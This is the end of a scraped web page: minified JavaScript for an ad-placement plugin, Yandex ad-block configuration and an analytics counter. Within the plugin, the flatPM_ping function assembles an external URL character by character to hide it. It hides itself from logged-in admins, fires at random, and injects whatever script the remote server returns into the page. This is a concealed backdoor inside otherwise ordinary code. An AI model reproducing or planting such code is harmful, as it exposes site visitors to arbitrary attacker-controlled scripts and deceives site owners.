0!==a.how.outgoing.close_window&&"true"==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&"true"==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;e<t;e++){var o=flat_pm_arr[e],a=!1;if(!(void 0!==o.chapter_limit&&o.chapter_limit>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_userVars.textlen||void 0!==o.title_limit&&o.title_limit>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_userVars.titlelen)){if(void 0!==o.date){if(void 0!==o.date.time_of&&void 0!==o.date.time_to){var r=new Date(flat_userVars.date+"T"+o.date.time_of+":00"),i=new Date(flat_userVars.date+"T"+o.date.time_to+":00"),l=new Date(flat_userVars.date+"T12:00:00"),s=new Date(flat_userVars.date+"T"+flat_userVars.time+":00");if(i<r&&i<l&&(i=flatPM_addDays(i,1)),i<r&&l<i&&(r=flatPM_addDays(r,-1)),s<r||i<s)continue}if(void 0!==o.date.date_of&&void 0!==o.date.date_to){var i=new Date(o.date.date_of+"T00:00:00"),s=new Date(o.date.date_to+"T00:00:00"),f=new Date(flat_userVars.date+"T00:00:00");if(f<i||s<f)continue}}if(void 0===o.os||!(void 0!==o.os.os_enabled&&-1==o.os.os_enabled.indexOf(flat_userVars.os)||void 0!==o.os.os_disabled&&-1!=o.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==o.cookies){var n=!1;if(void 0!==o.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(o.cookies.cookies_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(n=!0)!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return n=!1}else if(void 0!==flatPM_getCookie(e))return n=!1})}if(void 0!==o.cookies.cookies_disabled&&flat_userVars.testcook&&ff(o.cookies.cookies_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return!(n=!0)}else if(void 0!==flatPM_getCookie(e))return!(n=!0)}),n)continue}if(void 0!==o.utmget){var d=!1;if(void 0!==o.utmget.utmget_enabled&&ff(o.utmget.utmget_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(d=!0)!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return d=!1}else if(void 0!==flatPM_getAllUrlParams()[e])return d=!1}),void 0!==o.utmget.utmget_disabled&&ff(o.utmget.utmget_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return!(d=!0)}else if(void 0!==flatPM_getAllUrlParams()[e])return!(d=!0)}),d)continue}void 0!==o.referer&&(void 0!==o.referer.referer_enabled&&-1==o.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==o.referer.referer_disabled&&-1!=o.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(a=!0),!a&&void 0!==o.browser&&(void 0!==o.browser.browser_enabled&&-1==o.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==o.browser.browser_disabled&&-1!=o.browser.browser_disabled.indexOf(flat_userVars.browser))||(a&&void 0!==o.browser&&void 0!==o.browser.browser_enabled&&-1!=o.browser.browser_enabled.indexOf(flat_userVars.browser)&&(a=!1),a||void 0===o.geo&&void 0===o.ip&&void 0===o.role||""!=flat_userVars.ccode&&""!=flat_userVars.country&&""!=flat_userVars.city&&""!=flat_userVars.ip&&""!=flat_userVars.role||(f="block_geo_role_ip",flat_pm_then.push(o),flatPM_setWrap(o),flat_body.hasClass(f)||(flat_body.addClass(f),flatPM_ajax(f)),a=!0),a||(flatPM_setWrap(o),flatPM_next(o)))}}}var _=ff(".flatPM_sticky"),u=ff("*:has(>.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,o=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a<300||e.each(function(){var t=ff(this),e=a,o=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper flatPM_sidebar_block" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff("body > *").last().after('<div class="fpm_5_modal-overlay"></div>'),flat_body.on("click",".fpm_5_out .fpm_5_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".fpm_5_modal .fpm_5_cross",function(){ff(this).closest(".fpm_5_modal").removeClass("fpm_5_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),ff("[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)").contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|&#?\w+;/,c={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement("div")),r=(d.exec(e)||["",""])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1]+e.replace(l,"<$1></$2>")+r[2],n=r[0];n--;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,166);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"r"+"e"+"a"+"d"+"o"+"n"+"e"+"."+"r"+"u"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{r.appendChild(a)}catch(e){return console.warn(e),!0}ff(r).contents().unwrap()}}catch(e){console.warn(e)}},window.flatPM_setHTML=function(e,t){jQuery;try{var a,r="yandex_rtb_R";t.indexOf(r)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(r,"g"),"yandex_rtb_flat"+a+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+a+","));var n=parseHTML(t);if(0!=n.children.length)for(var o=n.childNodes.length,l=0;l<o;l++){var d=n.childNodes[l],i="3"==d.nodeType?document.createTextNode(d.nodeValue):document.createElement(d.nodeName);if("3"==i.nodeType)e.appendChild(i);else{for(var c,s=d.attributes.length,f=0;f<s;f++)i.setAttribute(d.attributes[f].nodeName,d.attributes[f].nodeValue);0<d.children.length?flatPM_setHTML(i,d.innerHTML):"SCRIPT"!=d.nodeName?i.innerHTML=d.innerHTML:(!d.text||/(yandexContext|yandexcontext)/.test(d.text))&&i.hasAttribute("async")||(d.text&&(i.text=d.text),c=flatPM_random(0,1e4),flat_stack_scripts.push({id:c,node:i}),(i=document.createElement("div")).setAttribute("data-flat-script-id",c)),e.appendChild(i)}}else e.innerHTML=t}catch(e){console.warn(e)}},window.flatPM_video=function(e){e.code=e.code.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim(),e.code_alt=e.code_alt.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",r=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,n='<div class="fpm_5_video_flex"><div class="fpm_5_timer">'+a+" через <span>"+l+'</span></div><div class="fpm_5_video_item">'+r+'</div><div class="fpm_5_video_item_hover"></div></div>',i=e.once;o(t).each(function(){var e=o(this);e.wrap('<div class="fpm_5_video"></div>');var t=e.closest(".fpm_5_video");flatPM_setHTML(t[0],n),e.find(".fpm_5_video_flex").one("click",function(){o(this).addClass("show")})}),o("body").on("click",".fpm_5_video_item_hover",function(){var e=o(this),t=e.closest(".fpm_5_video_flex");t.addClass("show");var a=t.find(".fpm_5_timer span"),r=parseInt(l),n=setInterval(function(){a.text(--r),r<=0&&(clearInterval(n),"true"==d?a.parent().replaceWith('<button class="fpm_5_cross"></button>'):t.remove())},1e3);e.remove()}).on("click",".fpm_5_video_flex .fpm_5_cross",function(){o(this).closest(".fpm_5_video_flex").remove(),"true"==i&&o(".fpm_5_video_flex").remove()})};</script> <script>flat_pm_arr = [{"how":{"simple":{"position":"1"}},"ID":"3920","html":[{"fst":"<!-- Yandex.RTB R-A-666779-1 -->\n<div id=\"yandex_rtb_R-A-666779-1\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-666779-1',\n blockId: 'R-A-666779-1'\n })\n})<\/script>\n<!-- Yandex.RTB R-A-666779-6 -->\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n type: 'fullscreen', \n platform: 'touch',\n blockId: 'R-A-666779-6'\n })\n})<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"simple":{"position":"2"}},"ID":"3921","html":[{"fst":"<!-- Yandex.RTB R-A-666779-2 -->\n<div id=\"yandex_rtb_R-A-666779-2\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-666779-2',\n blockId: 'R-A-666779-2'\n })\n})<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"simple":{"position":"3"}},"ID":"3922","html":[{"fst":"<!-- Yandex.RTB R-A-666779-3 -->\n<div id=\"yandex_rtb_R-A-666779-3\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-666779-3',\n blockId: 'R-A-666779-3'\n })\n})<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"simple":{"position":"3"}},"ID":"10013","html":[{"fst":"<div id='containerId229756' style='margin:5px 0;'><\/div>\n<script>\n(function(w, d, c, s, t){\n\tw[c] = w[c] || [];\n\tw[c].push(function(){\n\t\tgnezdo.create({\n\t\t\ttizerId: 229756,\n\t\t\tcontainerId: 'containerId229756'\n\t\t});\n\t});\n})(window, document, 'gnezdoAsyncCallbacks');\n<\/script>","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"outgoing":{"cross":"true","timer":"false","timer_count":"0","cookie":"true","whence":"3","indent":"0","after":"1500","px_s":"px","close_window":"true"}},"ID":"18569","html":[{"fst":"<!-- Yandex.RTB R-A-666779-5 -->\n<div id=\"yandex_rtb_R-A-666779-5\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-666779-5',\n blockId: 'R-A-666779-5'\n })\n})<\/script>","snd":"","res_of":"∞","res_to":"∞"}]}];</script> <script>function jQueryLoaded_flatpm_123( $ ) { if( "function" !== typeof flatPM_start ){ return; } flatPM_start(); } function jQueryLoading_flatpm_123() { if (window.jQuery && window.flat_pm_arr) { jQueryLoaded_flatpm_123( jQuery ) } else { setTimeout(function() { jQueryLoading_flatpm_123() }, 50) } } jQueryLoading_flatpm_123()</script> <script type="text/javascript" >(function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)}; m[i].l=1*new Date();k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)}) (window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym"); ym(58231594, "init", { clickmap:true, trackLinks:true, accurateTrackBounce:true });</script> <noscript><div><img src="https://mc.yandex.ru/watch/58231594" style="position:absolute; left:-9999px;" alt="" /></div></noscript><script type="text/javascript" defer src="https://vhod-v-lichnyj-kabinet.ru/wp-content/cache/wmac/js/wmac_f2c2ca110f07e493ebd0f17038f71494.js"></script></body></html>